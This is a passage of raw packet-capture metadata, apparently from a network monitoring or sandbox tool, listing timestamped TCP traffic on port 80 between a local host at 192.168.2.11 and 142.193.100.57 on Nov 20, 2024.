        Nov 20, 2024 09:14:51.567606926 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.567616940 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.567642927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567655087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567666054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567682981 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.567692995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.567713022 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.567790031 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567800999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567812920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567822933 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567833900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567840099 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.567846060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567852974 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.567890882 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.567936897 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567949057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567959070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567970991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567981005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.567992926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568005085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568006039 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568017960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568027020 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568053007 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568063974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568074942 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568078041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568094015 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568106890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568115950 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568126917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568137884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568147898 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568155050 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568160057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568171978 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568176031 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568202019 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568216085 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568335056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568346977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568357944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568368912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568380117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568384886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568387032 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568417072 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568433046 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568478107 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568490028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568500042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568505049 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568521023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568532944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568552971 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568578959 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568646908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568659067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568669081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568680048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568691015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568716049 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568716049 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568716049 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568730116 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568759918 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568799973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568810940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568820953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568836927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568844080 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568856001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568861008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568872929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568883896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568888903 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568900108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568913937 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568918943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568929911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568941116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568943024 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568953037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568964005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.568968058 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.568979025 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569011927 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569029093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569072962 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569183111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569194078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569220066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569237947 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569240093 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569250107 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569261074 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569272041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569274902 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569283962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569295883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569300890 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569308996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569320917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569329977 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569330931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569339991 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569344044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569355965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569364071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569380999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569384098 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569418907 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569430113 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569462061 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569474936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569502115 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569524050 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569622993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569633961 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569644928 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569664955 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569680929 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569683075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569696903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569706917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569713116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569725037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569735050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569736958 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569746971 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569757938 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569757938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569768906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569772959 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569782019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.569833040 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.569833040 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.570039988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.570050001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.570061922 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.570075035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.570085049 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.570086002 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.570096970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.570101976 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.570108891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.570120096 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.570131063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.570132971 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.570142031 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.570153952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.570153952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.570167065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.570178986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.570189953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.570197105 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.570200920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.570245981 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.570261002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.570265055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.570272923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.570283890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.570296049 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.570307016 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.570316076 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.570343971 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.654526949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654558897 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654572964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654632092 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.654645920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654658079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654670000 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654680967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654691935 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654706001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.654726982 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.654761076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654772043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654782057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654800892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654800892 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.654813051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654824018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654834986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654867887 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.654928923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654941082 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654951096 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654961109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.654963970 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.654983044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655000925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655009985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655029058 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655035019 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655040026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655062914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655071974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655082941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655100107 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655100107 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655117035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655117035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655117035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655143023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655168056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655179977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655190945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655201912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655208111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655225039 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655241013 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655270100 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655333042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655343056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655348063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655354023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655364990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655369997 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655381918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655395985 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655425072 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655594110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655605078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655630112 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655635118 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655651093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655663967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655667067 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655677080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655689001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655694962 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655699968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655726910 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655755043 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655755997 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655769110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655780077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655791044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655802011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655807018 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655813932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655834913 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655846119 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655855894 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655857086 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655869961 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655894995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655921936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.655980110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.655992031 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656002045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656013012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656023979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656033993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656044960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656049967 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656056881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656069040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656080008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656100035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656107903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656124115 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656157970 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656210899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656223059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656234026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656245947 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656256914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656261921 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656270027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656301022 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656312943 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656356096 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656367064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656383991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656398058 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656404018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656404972 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656409979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656413078 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656421900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656433105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656440973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656445026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656476021 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656495094 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656519890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656673908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656686068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656696081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656707048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656718016 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656718016 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656729937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656740904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656752110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656764030 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656793118 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656838894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656848907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656860113 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656869888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656889915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656900883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656909943 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656913042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656924963 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656934977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656945944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656949043 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656956911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656972885 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.656974077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.656987906 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.657011986 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.657212973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.657223940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.657233953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.657244921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.657254934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.657265902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.657272100 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.657278061 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.657289028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.657299995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.657310963 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.657313108 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.657345057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.657363892 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.741390944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741405964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741422892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741434097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741451025 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741456985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741463900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741485119 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.741493940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741525888 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.741539001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.741643906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741662979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741681099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741703033 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.741728067 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.741786957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741800070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741816044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741827011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741839886 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.741853952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.741883993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741889000 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.741895914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741906881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741919041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741925955 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.741930962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741945028 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.741976023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.741976976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.741990089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742032051 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742093086 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742104053 CET804970142.193.100.57192.168.2.11
